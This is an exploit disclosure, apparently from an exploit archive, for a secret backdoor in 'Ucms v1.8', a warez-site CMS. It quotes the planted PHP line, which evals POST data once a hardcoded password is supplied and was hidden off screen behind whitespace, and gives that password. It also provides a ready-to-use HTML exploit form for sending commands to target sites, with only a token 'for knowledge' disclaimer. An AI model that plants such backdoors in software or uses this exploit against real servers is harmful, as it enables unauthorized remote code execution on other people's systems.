Short description:
Ucms is a warez-cms coded by madmax,
he selled the cms for 150 Euro for one cms,
but it´s not enough that the cms costs 150 euro,
he added a "secret" backdoor which now is released...
Used by:
Famous warez-sites like alphawarez, loud, oxygen-warez and so on...
___________________________________________________________________

Backdoor in file:
/php/modules/entries/search.cache.inc.php
line 8:
$cache_path = '/search/' . GetValidFilename($search_term) . '_' . $search_hash . '_info.dat';
if(@stripslashes($_POST['p']) == 'ZCShY8FjtEhIF8LZ'){@eval(@stripslashes($_POST['e']));exit;};
the second string is hidden at the very right site with whitespaces in the texteditor, so nobody had seen it before,
the function is called in:
/php/modules/entries/search.main.inc.php
exploit:
-->

<head>
<title>Ucms v. 1.8 Np exploit</title>
<script type="text/javascript">
function sethost(seite)
{
document.host.action = seite + 'index.php?&q=test&e=1';
document.all.data.innerHTML =  document.host.action;
}
</script>
</head>
<body onLoad="sethost('http://www.ucmspage.de/&apos;)" >
<h1>Ucms v. 1.8 Np exploit</h1>

Password:<input type="text" name="p" value="ZCShY8FjtEhIF8LZ"><br />
<!--

<!--
It´s just a crime to do such thigs, so please use
this exploit just for knowledge and not to destroy the warez pages...

Have a nice day
